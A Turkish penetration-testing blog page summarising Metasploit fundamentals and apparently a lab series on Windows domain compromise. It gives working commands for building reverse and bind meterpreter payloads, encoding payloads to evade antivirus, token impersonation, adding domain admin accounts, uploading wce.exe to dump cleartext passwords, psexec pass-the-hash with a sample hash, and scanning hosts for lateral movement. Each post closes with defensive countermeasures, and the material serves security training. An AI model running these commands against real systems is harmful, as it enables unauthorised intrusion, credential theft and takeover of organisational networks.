shell etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
shell etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

16 Mart 2014 Pazar

Metasploit Unleashed: Metasploit Fundamentals

Metasploit Unleashed: Metasploit Fundamentals


Metasploit anaçatısını kullanmak için bir çok arayüz bulunmaktadır. Tüm arayüzlerin avantaj ve dezavantajları olmakla birikte; bu arayüzlerden en verimlisi msfconsole denebilir.
MSF, Kali Linux üzerinde "/usr/share/metasploit-framework" altında toplanmıştır.

1) Msfcli

msfconsole ile yapılabilecek işlemleri tek bir satırda / adımda gerçekleştiren arayüzdür. Başlıca kullanım amaçları aşağıdaki gibidir:
  • Exploit ve Auxiliary modülleri çalıştırmak
  • Tek bir satırda tüm işlemleri gerçekleştirerek öğrenim kolaylığı sağlamak
  • Yeni exploit’ler test etmek ve geliştirmek
  • İnteraktif erişimin mümkün olmadığı durumlarda kullanmak
  • Exploit işlerinde betiklerle otomatik işlemler gerçekleştirmek
  • Tek seferlik exploit işlemlerini daha hızlı gerçekleştirmek
  • Hangi exploit veya payload kullanılacağı bilindiği durumlarda hız kazanmak
Ancak msfconsole kadar desteklenmediği ve aynı anda sadece tek bir kabuk (shell) açılabildiği için istemci taraflı saldırılarda çok da pratik değildir. Ayrıca msfconsole’un bazı gelişmiş özelliklerini kullanamamaktadır.
Değişken ataması sırasında msfconsole’daki gibi “ ”(boşluk) kullanılması yerine, “=” kullanılır. Ayrıca seçeneklerin büyük/küçük harf duarlı olduğu da göz önünde bulundurulmalıdır.

Önemli parametreleri:
-h veya H: Yardımcı dokümantasyon sunar.
-E: Seçilen modülü çalıştırır.
P: Seçilen modül için uygun Payload değerlerini sunar.
O: Seçilen modül için uygun seçenekleri sunar. Böylece hangi seçeneklerin ayarlanabileceği listelenir.
Örnek kullanımlar:
# msfcli -h
# msfcli exploit/multi/samba/usermap_script O
# msfcli exploit/multi/samba/usermap_script P
# msfcli exploit/windows/smb/psexec RHOST=192.168.2.182 PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.2.97 LPORT=443 SMBUser=Tubitak SMBPass=Aa123456 E


2) Msfconsole

En çok destek gören ve tercih edilen arayüzdür. Bunun başlıca sebepleri şu şekildedir:
  • Kullanıcı dostudur. Ruby sayesinde Tab tuşu ile tamamlama gibi kullanımı kolaylaştırıcı özelliklere sahiptir.
  • En sağlam (stable) konsol tabanlı arayüzdür.
  • Merkezi bir arayüz sunar.
  • Metasploit ana çatısının her özelliğine (feature) neredeyse tamamına erişim sağlayabilen tek MSF arayüzüdür.
  • Metasploit anaçatısındaki özelliklerin yanı sıra, Linux taraflı dış komutlara (ifconfig, ping,... gibi) da erişim sağlanabilir.
  • Yardımcı dokümanları en iyi hazırlanmış arayüzdür.
Bu arayüzün kullanımı için “/usr/share/metasploit-framework” dizini altındaki msfconsole aracı kullanılır. Eğer çevresel değişkenler uygun şekilde yapılandırılmışsa, Kali'de yapılandırılmıştır, herhangi bir dizinde bu komut çalıştırılabilir.

Önemli parametreleri:
-h veya --help: Yardımcı dokümantasyon sunar.
-r <KaynakDosya>: Belirtilen kaynak / betik dosyasını (resource file) çalıştırır.
-c <YapilandirmaDosyasi>: Belirtilen yapılandırma dosyasını (configuration file) yükler.
-o <CiktiDosyasi>: Belirtilen dosyaya logları yazar.
Bu aracın çalıştırılması ile “msf” adlı konsola düşülür.


msfconsole komutları:
help veya ? veya <Komut> -h: Yardımcı dokümantasyon sunar.
info <ModulAdi>: Seçilen modülü veya modüller ile ilgili ön bilgi (Modül adı, versiyonu, çalışacağı platformlar, lisansı, yazarları, tanımı, seçenekleri, referansları, beklenmedik etkileri vs) sunar.
back: Mevcut modülden geri çıkmak için kullanılır.
check: Exploit işlemini gerçekleştirmeden önce yapılan kontroldür. Böylece exploit işleminin başarılı olup olunmayacağı kontrol edilir. Çok az sayıda exploit tarafından bu komut desteklenir.
connect <Senecekler>: Telnet veya netcat araçları gibi, bir sistemin bir portuna bağlantı (connect <IP> <Port>) için kullanılır.
exit: msfconsole komut satırından çıkılması için kullanılır.
irb: msf konsolundan, etkileşimli Ruby kabuğuna geçiş için kullanılır.
jobs <Secenekler>: Arka planda çalışan modülleri sunar, sonlandırır ve yönetir.
kill <JobId>: Belirtilen arka plandaki işlemi (job) sonlandırır.
load <EklentiAdi>: Kişisel (“/root/.msf4/plugins”) ve Metasploit anaçatısındaki eklentileri (“/usr/share/metasploit-framework/plugins”) yükler.
resource <KaynakDosyasi>: msfconsole tarafından yüklenebilecek betik (kaynak) dosyalarını çalıştırır.
route: Oturum açıldıktan sonra ağlar arasında oturumlar üzerinden geçmek için kullanılır. Ayrıntılı bilgi Pivoting başlığı altında incelenecektir.
search <ModulBilgisininBirKismi>: Adı, tanımı, referansı gibi bilgisinin belli bir kısmı bilinen modül için arama gerçekleştirilir. Modüller isimlendirilirken “-” yerine “_” kullanıldığından, “_” ile arama yapılması daha doğru sonuçlar verir.
sessions: Mevcut oturumları (meterpreter oturumu, shell,  VNC) listeler ve yönetir.
set <Secenek> <Deger>: Mevcut modül için belirtilen seçeneğe, belirtilen değeri atar.
setg <Secenek> <Deger>: Tüm modüller için (global olarak) belirtilen seçeneğe, belirtilen değeri atar.
save: setg komutu ile yapılan değişiklikleri ayar dosyasına (/root/.msf4/config) kaydeder. Böylece bu ayarlar her zaman kullanılabilir.
show <Parametre>: Belirtilen parametreye (all, encoders, nops, exploits, payloads, auxiliary, plugins, options) uygun seçenekleri sunar.
unload <EklentiAdi>: Yüklü eklentiyi kaldırır.
unset <Parametre>: Değer verilmiş seçeneklerdeki değeri kaldırır.
unsetg <Parametre>: Değer verilmiş genel seçeneklerdeki değeri kaldırır.
use <ModulAdi>: Belirtilen modül kullanılır.
run veya exploit: Modülleri çalıştırmak için kullanılır. Auxiliary modüller için “run”, istismar modülleri için “exploit” kullanılır.
Örnek kullanımlar:
msf > help
msf > sessions -h
msf > search smart_hash
msf > search type:post platform:linux path:scade name:mysql author:dookie
msf > use post/windows/gather/smart_hashdump
msf > sessions -l
msf > sessions -i 4 -c “net localgroup”
msf > sessions -k 2
msf > unset all
msf exploit(psexec) > set RHOSTS 192.168.5.0/24
msf > setg RHOSTS 192.168.5.0/24
msf > save
msf exploit(ms08_067_netapi) > show payloads
msf > show options



3) Exploits

Modül seçildikten, modül seçenekleri ayarlandıktan sonra zafiyeti kullanarak hedef sisteme sızmak için kullanılan komuttur.

Önemli parametreleri:
-h: Yardımcı dokümantasyon sunar.
-j: Modül arkaplanda çalıştırılır.
-z: Modül başarılı bir şekilde çalıştırıldıktan sonra oturum ile direk etkileşime girilmez. Örneğin, hedef sistemin kabuğuna düşülmez. “shell -i <OturumNo>” komutu ile hedef kabuğa düşülür.
Exploit işlemi sonucunda hedef sistem ile etkileşime girildiğinde meterpreter kabuğuna düşülür.


Exploit’ler aktifliğine göre 2’ye ayrılır:
  • Aktif Exploit’ler: Bir sistemdeki zafiyeti istismar eden ve işi bittikten sonra kapanan (bir hata olmadığı takdirde) sunucu tabanlı (saldırganın bir sisteme saldırdığı) exploit çeşididir.
  • Pasif Exploit’ler: Hedef sistemin bağlantı talebini gerçekleştirmesi beklenen istemci tabanlı (web tarayıcısındaki, mail istemcisindeki) exploit çeşididir.

4) Payloads

Payloadlar 3 grupta incelenebilir.
  • Single (Inline / Non Staged) : Tek başınlarına çalışan, hem bağlantıyı sağlayan hem de hedef bilgisayarda basit işlemler gerçekleştiren payload’lardır. Stagers ve Stages payload’larının birleşimi olarak düşünülebilir. Örnek: Hedef sisteme kullanıcı ekleme (adduser), hedef sisteme bağlantı kurma (shell_bind_tcp), hedef sistemde kod çalıştırma (exec), hedef sistemde bir prosesi (explorer.exe gibi) öldürme, hedef sistemin kayıt defterinde değişiklik gerçekleştirme, ....
  • Stagers: Saldırgan ve hedef bilgisayarlar arasında ağ altyapısını kuran, küçük boyutlu olan ve sağlam olmak zorunda olan payload’lardır. Bağlantı kurulurken küçük boyuttaki kodlar kullanılır, bağlantı kurulduktan sonra büyük boyuttaki kodlar kullanılarak modül ve payload’lar hedef sisteme yollanmaktadır. Metasploit alt yapısı barındırdığı benzer payload’lardan en iyisini kendi içerisinde seçer ve bağlantıyı seçtiği en uygun payload ile kurar. Örnek: bind_tcp, reverse_tcp, bind_http(s), reverse_http(s), ...
  • Stages: Stager payload’lar tarafından hedef sisteme yüklenen ve asıl işlemleri gerçekleştiren payload bileşenleridir. Saldırganın hedef bilgisayarda komut çalıştırması veya saldırganın hedef bilgisayardan dosya alması, ... gibi işlemler için kullanılan shell (ipwn, http,…), meterpreter, VNC Injection birer stages payloadlardır. Single payload’lardan daha karmaşık işlemleri gerçekleştirirler.

Payload adına bakılarak payload kategorisi anlaşılabilmektedir. Payload adında “/” yoksa single; varsa ilk değer stage ve ikinci değerse stager bilgisini verir. Örneğin; “windows/shell_bind_tcp” için single payload, “windows/shell/bind_tcp” için stager (bind_tcp) ve stage (shell) içeren bir payload’dur denilebilir.

Payload belirlemek için “set” komutu kulalnılabilir.


Metasploit anaçatısında bulunan en önemli payload türleri aşağıdaki gibidir:
  • Inline (Non staged): Belirli işlevi yerine getiren single payload’dur.
  • Staged: Belirli bir işlevi yerine getirmek için stage payload’lar ile birlikte çalışan stager payload’lardır.
  • Meterpreter (Meta-Interpreter): Hedef sistemin belleğinde çalışan, diskinde iz bırakmayan ve DLL enjeksiyonu yolu ile hedef bilgisayarda betik veya komutların çalışmasını sağlayan oldukça gelişmiş bir payload türüdür.
  • PassiveX: IE uygulamasında etkin olarak bırakılmış olan ActiveX kontrollerini kullanarak HTTP üzerinden komut çalıştırmaya yarayan ve firewall gibi ağ cihazlarının atlatılmasında kullanılan payload türüdür.
  • NoNX (No eXecute): DEP (Data Execution Prevention - RAM üzerinde gerçekleşen işlemleri kontrol ederek, saldırıları önler) koruma mekanizmasını atlatmak için kullanılan payload türüdür.
  • Ord: Her dildeki ve platformdaki Windows işletim sistemlerinde çalışan küçük boyutlu payload türleridir. Ancak exploit işlemi öncesinde prosese ws2_32.dll yüklenmesini beklediği için ve diğer payload türlerine göre daha az sağlam (stable) olduğu için çok de tercih edilmezler.
  • IPV6: Ipv6 ağlarında kullanılan payload türleridir.
  • Reflective DLL enjeksiyonu: Stage payload’un diskte değil RAM üzerinde işlem gördüğü VNC ve Meterpreter payload’larının da kullandığı tekniktir. Ayrıntılı bilgi için bakınız: http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html

Metaploit ana çatısı, exploit geliştiricilerine daha esnek bir ortam sağlamak için mevcut payload’lar haricinde payload’ların üretilmesine de olanak sunar.  Payload işlemleri msfconsole üzerinde gerçekleştirilir.

msfconsole’da payload işlemleri için kullanılabilecek önemli parametreler:
use <PayloadAdi>: Belirtilen payload’u kullanır.
generate <Secenekler>: Belirtilen payload’u üretir. 
Örnek kullanımlar:
msf > use payload/windows/shell_bind_tcp
msf payload (shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa'


"generate" parametreleri:
msfconsolda payload üretimi için “generate” sonrası kullanılabilecek önemli parametreler:
-h: Yardımcı dokümantasyon sunar.
-b <IstenmeyenKarakterler>: Payload içerisinde belirtilen karakteler kullanılmadan payload üretilir. Payload üretimi sırasında payload boyutu artış göstermekte ve otomatik olarak en uygun kodlayı (encoder) ile kod karıştırılmaktadır. Ancak istenmeyen karakter çok fazla ise bir payload üretimi gerçekleşmeyebilir. Bu durum sesli harf kullanmadan cümle oluşturmaya benzetilebilir.
-e <KodlayiciAdi>: Belirli bir kodlayıcı kullanılarak payload üretilir. Farklı bir encoder kullanımında payload boyutu artacaktır.
-f <DosyaAdi>: Payload bir dosyaya kaydedilir.
-i <IterasyonAdedi>: Payload üretimi sırasında shellcode’un kaç iterasyon geçireceğini belirtir. Bu parametre ile payload boyutu artarken, antivirüsler tarafından yakalanması ise daha zor olacaktır. İterasyon adedi arttıkça payload boyutu artacaktır.
-o <Secenek=Deger>: Payload seçeneklerini değiştirerek payload kodunu üretir.
-t <Dil>: Payload kodunu Ruby dili yerine tercih edilen programlama dilinde (raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh,psh-net) formatlayarak oluşturur.
-s <KarakterAdedi>: Payload başlangıcına belirtilen karakter adedince boş karakter (NOP) ekleyerek payload üretir. Eklenen byte adedince payload boyunu artış gösterir.
Örnek "generate" kullanımları:
  • msf  payload(shell_bind_tcp) > generate -h
  • msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66’ -i 3
  • msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msf/filename.txt
  • msf  payload(reverse_tcp) > generate -o LPORT=443,EXITFUNC=seh -b '\x00\xff' -e x86/shikata_ga_nai -t java

Bind ve Reverse Bağlantı İlişkisi
Bind ve Reverse bağlantı ile ilgili farkı görmek için aşağıdaki 2 örnek incelenebilir.

Reverse bağlantıda Windows (192.168.2.182) makinenin herhangi bir portundan, Linux makinenin (192.168.2.97) belirtilen portuna (4567) bağlantı kurulur.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 X > /root/Desktop/TersBaglanti.exe
# msfcli exploit/multi/handler PAYLOAD=windows/meterpeter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 E
Sonuç:
[*] Started reverse handler on 192.168.2.97:4567
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:4567 -> 192.168.2.182:49159) at 2014-03-16 21:38:07 +0200

Bind bağlantıda Linux (192.168.2.97) makinenin herhangi bir portundan daha sonra bağlantı kurmak için, Windows makinenin (192.168.2.182) dinlediği (ve belirtilen) portuna (7654) bağlantı kurulur.
# msfpayload windows/meterpreter/bind_tcp LPORT=7654 X > /root/Desktop/DuzBaglanti.exe
# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.2.182 LPORT=7654 E
Sonuç:
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:56332 -> 192.168.2.182:7654) at 2014-03-16 21:04:33 +0200

5) Veritabanları

Metasploit anaçatısı kullanılarak gerçekleştirilen operasyonlara ait sonuçların takibi amacıyla PostgreSQL veritabanı kullanılabilir. msfconsole’a düşüldüğünde veritabanı bağlantısı otomatik olarak TCP/7337 portunda başlatılmaktadır.


Önemli parametreleri:
workspace <Secenekler>: Gerçekleştriilen operasyonların organizasyonu için kullanılan yapıları yönetir.
hosts <Secenekler>: Mevcut workspace üzerinde bulunan sistemleri listeler ve yönetir. Sistem ekleme (-a / --add) ve silme (-d / --delete),  belirli kolonları gösterme (-c <KolonAdi>), arama gerçekleştirme (-S / --search), modüldeki hedef bilgisayarları veritabanından yükleme (-R) işlemlerini gerçekleştirir.
db_import <DosyaAdi>: Dosyada bulunan tarama sonucunu veritabanına ekler.
db_nmap <Secenekler>: Nmap ile tarama gerçekleştirip çıktısını mevcut workspace içerisine otomatik olarak kaydeder.
db_export –f <Format> <DosyaAdi>: Elde edilen sonuçları belirtilen formatta (xml veya pwdump) ve isimde dosyaya kaydeder.
services <Secenekler>: Servis isimlerine göre filtreleme gerçekleştirilir.
-o <DosyaAdi>: CSV uzantılı olarak sonuçları kaydeder.
creds <Secenekler>: Mevcut workspace üzerinde bulunan sistemlere ait kimlik bilgilerini listeler ve yönetir. Kimlik bilgisi ekleme (-a / --add) ve silme (-d / --delete), bilgileri bir dosyaya yazma (-o <DosyaAdi>), porta (-p <Portlar> / --port <Portlar>) ve servis adına (-s <ServisAdi>) göre kimlik bilgilerini listeleme, eklenecek kimlik bilgisi için tipini (-t <KimlikBilgisiTipi> / --type <KimlikBilgisiTipi>) veya kullanıcı adını (-u <KullaniciAdi> / --user <KullaniciAdi>) veya parolasını (-P <Parola> / --password <Parola>) belirleme, arama gerçekleştirme (-S / --search), modüldeki hedef bilgisayarları veritabanından yükleme (-R) işlemlerini gerçekleştirir.
loot <Secenekler>: Belirli tipteki parola özetlerini listeler.
Örnek kullanımlar:
msf > workspace -a YeniProje
msf > hosts -c address,os_flavor -S "2008 R2"
msf > db_export -f xml /root/msfu/Exported.xml
msf > services -c port,proto,state -p 70-444 -S http -o /root/test2/http.csv
msf > creds -h
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
msf > loot -t windows.hashes, linux.hashes, linux.passwd, linux.shadow


6) Meterpreter (Meta-Interpreter)

Meterpreter çalışma anında (runtime) DLL enjeksiyonu yolu ile hedef sistemin belleğinde (RAM) işlemler gerçekleştirengelişmiş, dinamik payload türüdür. Hedef sistemde öncelikle bir stager payload (bind, reverse, findtag, passivex gibi) çalışır ve bu payload bir DDL oluşturarak, başka bir DLL’e enjekte olur. Hedef sistemden saldırgandaki Metasploit’e şifreli (TLS/1.0 üzerinden) bir GET mesaj yollar ve hedef bilgisayar bu trafik üzerinden yapılandırılır (stdapi, priv gibi modüller yüklenir vs). Saldırgan ile hedef bilgisayar arasındaki tüm işlemler şifreli trafik (TLS ve TLV protokolleri) üzerinden gerçekleşir.
Meterpreter harddiske herhangi bir şey yazmaz, RAM üzerinde çalışır. Ayrıca yeni bir proses oluşturmadan haklarına göre prosesler arasında sıçrar. Çalışma anında gerekli modüllerin ve eklentilerin yüklenmesine devam edilebilir, yeni özellikler kullanılabilir. Yeni bir modül/uzantı yükleneceği zaman saldırgan bu uzantıyı hedef sisteme gönderir, hedef sistemde bu eklenti DLL’e yüklenir ve başlatılır. Daha sonra eklenti durum bilgisi saldırganın bilgisayarına bildirilir, saldırganın bilgisayarından eklenti fonksiyonları çağırılarak hedef bilgisayarda komutların çalışması sağlanır. Ayrıntılı bilgi için bakınız: http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html

Önemli parametreleri:
-h veya --help: Yardımcı dokümantasyon sunar.
background: Meterpreter oturumundan msf konsola geri dönülür. Meterpreter oturumu kapanmaz, arka plana konur.
clearev: Windows işletim sistemindeki Application, System ve Security loglarını siler.
download <HedefBilgisayardakiDosya> <DosyaninKaydedilecegiKaliUzerindekiDizin>: Hedef bilgisayardan belirli dosya alınır. Windows dizinleri arasında iki tane “\” kullanılmalıdır.
upload <YuklenecekDosyaninKaliUzerindekiYeri> <HedefBilgisayardaDosyaninKaydedilecegiDizin>: Hedef bilgisayardan belirli dosya alınır. Windows dizinleri arasında iki tane “\” kullanılmalıdır.
edit <HedefSistemdekiDosya>: Belirtilen metin dosyasını indirmeye gerek kalmadan açmaya, üzerinde değişiklik yapmaya yarar.
execute <Secenekler>: Hedef sistemde belirli bir komutu çalıştırmak için kullanılır.
getuid: Mevcut prosesi çalıştıran hesabın adını verir.
getpid: Mevcut prosesi ID değerini verir.
hashdump: Yerel kullanıcıların parola özetlerini listeler. Çalışmaması durumunda yapılabilecek işlemler için bakınız: http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-hashdump-hatas.html
idletime: Hedef sistemdeki kullanıcının işlem yapmadığı süreyi belirtir.
migrate <ProsesId>: Belirli bir prosese sıçranır. Çalışmaması durumunda “run post/windows/manage/migrate” de denenebilir.
ps: Hedef bilgisayarda çalışan prosesler ve prosesleri çalıştıran hesaplar listelenir.
resource <DosyaAdi>: Dosya içerisinde bulunan komutları çalıştırır.
search -f <DuzenliIfadeOlarakDosyaAdi> <DizinAdi>: Belirli dizinde belirli isimdeki dosyaları arar.
webcam_list: Kameraları listeler.
webcam_snap <Secenekler>: Kamerayı kullanarak fotoğraf çeker.
Örnek kullanımlar:
meterpreter > execute -f cmd.exe -i -H
meterpreter > download C:\\Windows\\System32\\SAM
meterpreter > upload Virus.exe c:\\Users
meterpreter > search -f sea*.bat c:\\xamp\\
meterpreter > webcam_snap -i 1 -v false



Kaynak:
http://www.offensive-security.com/metasploit-unleashed/Metasploit_Fundamentals

18 Ekim 2013 Cuma

İpucu: Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Amaç

  • Hedef makinelerde oturum elde edildikten sonra, bu makinelere dosya (wce.exe adlı uygulama dosyası veya başka dosyalar) aktarılacaktır ve çalıştırılacaktır.
  • Hedef makinelerde program çalıştırılacaktır. Bu program ile ele geçirilen oturumda aktif prosesi olan hesapların kimliğine bürünülecek ve bu hesapların şifreleri açık halde (clear text) elde edilecektir.


Yöntem
Önceki yazıda belirtildiği gibi, sisteme sızıldıktan sonra, yüksek yetkili kullanıcının sahip olduğu ve daha kararlı yapıdaki bir prosese sıçranabilir. Yüksek yetkili kullanıcının çalıştırdığı daha kararlı yapıda olan explorer.exe adlı prosese (748 numaralı proses) sıçranması aşağıda gösterilmiştir:
getuid
getpid
migrate 748
getuid
getpid

Hedef makinede yüksek yetkili kullanıcının sahip olduğu kararlı bir prosese geçme

Yetkili kullanıcının haklarına, o kullanıcının prosesine sıçramak yerine, Kerberos biletini elde ederek de gerçekleştirilebilir:
load incognito
list_tokens -u
getuid
getpid
impersonate_token DOJO\\sisyon
getuid
getpid
shell
whoami

Hedef makinede yüksek yetkili kullanıcının biletine sahip olunması

Not: Eski bilete geri dönmek için rev2self komutu kullanılabilir. Ayrıntılı bilgi için:
http://pentestlab.wordpress.com/2012/08/07/token-stealing-and-incognito/

SYSTEM hakları ile bir yerel kullanıcı eklenebilir veya çıkarılabilir, yerel yönetici grubuna eklenebilir:
whoami
net user TestYerelKullanici TestP@ss123 /add
net localgroup administrators TestYerelKullanici /add
net localgroup administrators

Hedef makineye yetkili bir kullanıcı ekleme

Domain Admin hakları ile bir yerel veya domain kullanıcısı eklenebilir veya çıkarılabilir. Daha sonra bu kullanıcı yerel veya domain admin grubuna eklenebilir, çıkarılabilir:
net user TestGenelKullanici /del /domain
net user TestGenelKullanici TestP@ss12345 /add /domain
net group "Domain Admins" TestGenelKullanici /add /domain
net group "Domain Admins" /domain

Domaine yetkili bir kullanıcı ekleme

WCE (veya mimikatz) uygulaması hakkında ayrıntılı bilgi için bakınız:
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

Not: Sızılan makine domain controller ise, domain admin yetkisindeki bir kullanıcı ile yukarıda belirtildiği gibi kullanıcı oluşturup, domain admins grubuna atanamaz. Bu sebeple, domain controller makinesine sızıldığında bu işlemler SYSTEM rolündeyken yapılmalıdır.

Elimizde domain admin kullanıcısının prosesi / bileti bulunmaktadır. Bu prosesi / bileti kullanarak, kullanıcının şifresinin açık halini elde edebiliriz. Bu amaçla hedef bilgisayara “wce.exe” adlı bir uygulama yüklenecek, çalıştırılacak ve kullanıcı şifresi elde edilecektir:
sysinfo
upload /wce.exe “C:\\”
shell
cd C:\
wce.exe -–w
'wce.exe' uygulaması ile yetkili kulalnıcının şifresinin elde edilmesi

Not: 'sysinfo' komutu ile hedef makinenin sistem mimarisi  (64 bit / 32 bit) hakkında bilgi edinilmektedir. Sistem mimarisine göre uygun uygulama (exe) dosyası yüklenecektir. Daha ayrıntılı sistem bilgisi için 'systeminfo' komutu da kullanılabilir.

Not: Bir çok anti virüs "wce.exe" uygulamasını yakalamakta ve hedef makineye yüklenmesine izin vermemektedir. Bu sebeple packer adı verilen uygulamalar kullanılmaktadır. UPX Packer uygulamasının kullanımı için bakınız. Diğer antivirüs atlatma yöntemleri için bakınız.

Not: wce.exe uygulaması (Windows Credential Editor) aracılığıyla RAM üzerinde kalmış kullanıcıların şifre bilgilerine erişilebilmektedir. Ayrıntılı bilgi için: http://www.ampliasecurity.com/research/wcefaq.html


Önlem

  • Sistem yöneticilerine ve diğer tüm kullanıcılara ait hesapların izinleri belli periyotlarla kontrol edilmelidir. Gereksiz haklar / roller alınmaldır.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.


İpucu: Yüksek Yetkili Kullanıcı Haklarının İncelenmesi

Yüksek Yetkili Kullanıcı Haklarının İncelenmesi

Amaç
  • Sızılan sistemdeki prosesler incelenecektir.
  • Domainde bulunan yüksek yetkili kullanıcıların, bu makinede herhangi bir proses çalıştırıp çalıştırmadığı belirlenecektir.


Yöntem
Önceki yazıda belirtildiği gibi elimizdeki kimlik bilgileri ile farklı bilgisayarlarda oturum açılabilmektedir. Böylece. sızılan makinede çalışan prosesler incelenir:
ps

Hedef makinede proseslerin izlenmesi

Daha önceden elde ettiğimiz bilgilere göre “sisyon” kullanıcısı Domain Admins grubunun üyesi olduğu görülmüştü. Bu sebeple bu prosese sıçranabilir. Eğer, bu makinede, domainde yüksek yetkili olan bir kullanıcı prosesi ve/veya bileti bulunamasaydı, başka makinelerde benzer adımlar gerçekleşecektir.

Not: SYSTEM kullanıcının sisteme girmesi de bir proses (svchost.exe) oluşturmuştur.

Önlem
  • Makinelerde yüksek yetkili kullanıcı hakları ile çalıştırılan gereksiz prosesler sonlandırılmalıdır.
  • Makinelere giren kullanıcılar, işlemleri bittikten sonra oturumlarını kapatmaya (log-off) zorlanmalıdır.
  • Domain yöneticileri gibi, önemli gruplardaki kullanıcıların iki tane hesabı olmalıdır. Bu hesaplardan birisi domain üzerinde işlem yapma haklarına sahip oldukları yetkili hesaptır. İkinci hesap ise, domaindeki normal kullanıcılar gibi, yetkisiz hesaptır. Domain yöneticileri yetkili hesaplarını sadece domain işlemlerini yaparken kullanmalıdır, bu hesapla domain controller haricinde gerekmedikçe herhangi bir yere giriş yapılmamalıdır. Farklı sistemlere giriş için yetkisiz hesap kullanılmalıdır.
  • Önemli gruplarda olan yetkili kullanıcılar bu hesaplarını sadece domaine kullanıcı ekleme, domainden kullanıcı çıkarma, grup politikasını güncelleme gibi işlemler için kullanmalıdır. Domain controller gibi, belli ve sınırlı sayıdaki makinelere bu kullanıcı ile giriş yapılmalıdır.

3 Ekim 2013 Perşembe

İpucu: psexec Modülü ile Yeni Makinelerde Oturumun Açması

psexec  Modülü ile Yeni Makinelerde Oturumun Açması

Amaç
Organizasyondaki - yerel kullanıcısı ve şifresi / şifre özeti bilinen - diğer makinelerde oturum açılacaktır.

Yöntem
Bir önceki yazıda smb_login modülü ile girilebilecek bilgisayarlar tespit edilmişti. Bu adımda ise psexec modülü ile giriş denemesi yapılacaktır.
psexec modülü incelenir:
search psexec
use exploit/windows/smb/psexec
show options
psexec modülünün incelenmesi

Seçilen modül hakkında ayrıntılı bilgi elde edinilebilir:
info exploit/windows/smb/psexec
psexec modülü hakkında ayrıntılı bilginin listelenmesi

Seçenekler uygun şekilde ayarlanır:
set RHOST 192.168.172.243
set SMBPass aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUser administrator
set PAYLOAD windows/meterpreter/reverse_tcp
show options
psexec modülünün düzenlenmesi

Not: Domainde ilk olarak girdiğimiz bilgisayarda, "net share" komutu çalıştırıldığında “ADMIN$” paylaşımının açık olduğunu gördüğümüz için, SHARE seçeneğini aynen bırakabiliriz.

Modülü çalıştırmak için ve elde edilen bağlantıları listelemek için aşağıdaki komutlar kullanılır :
exploit
sessions -l
psexec modülü ile exploit işleminin gerçekleştirilmesi

Not: PsExec bir çok AV tarafından tespit edilebilmektedir. Bu sebeple, bağlantıda belirtildiği gibi WCE aracı kullanılarak da hedef sistemin dosya sistemine erişilebilir, bağlantıdaki gibi WCE & MS psexec aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir, bağlantıdaki gibi MSF psexec_command modülü kullanılarak Meterpreter komut satırı elde edilebilir, bağlantıdaki gibi Kali pth-winexe aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir.

Not: MSF PsExec modülü çalıştırıldığında gerçekleşebilecek hatalar için bakınız.

Önlem
  • Önceki adımlarda belirtilen önlemler alınmalıdır.


2 Ekim 2013 Çarşamba

İpucu: smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi


smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi

Amaç
  • Port taraması ile SMB (Server Message Block protokolü) dosya paylaşımını sağlayan TCP 445. portu açık olan makineler bulunacaktır.
  • Elde edilen bir yerel kullanıcı hesap bilgilerinin, organizasyondaki diğer makinelerde de yetkili olup olmadığı belirlenecektir.

Yöntem
Önceki adım ile elimizde sadece bir makinede yerel yönetici hesabı dahil olmak üzere yerel kullanıcı hesaplarına ait şifrenin özeti bulunmaktadır:

Hedef makinedeki kullanıcıların şifre özetlerinin listelenmesi

Bu özet halindeki şifreyi ve Administrator (yerel yönetici) kullanıcısı kullanarak, diğer makinelere de girilmeye ve böylece organizasyondaki diğer makinelere yayılım gerçekleşecektir. Yayılım işlemi; port taraması yapıldıktan sonra veya direk olarak zafiyetle ilgili modül kullanılarak gerçekleştirilebilir.
SMB dosya paylaşım portu (TCP/445) açık olan makinelerin bulunması nmap komutu ile (veya Zenmap kullanarak) gerçekleştirilebilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open
nmap komutu ile 445. portu açık olan makinelerin tespit edilmesi

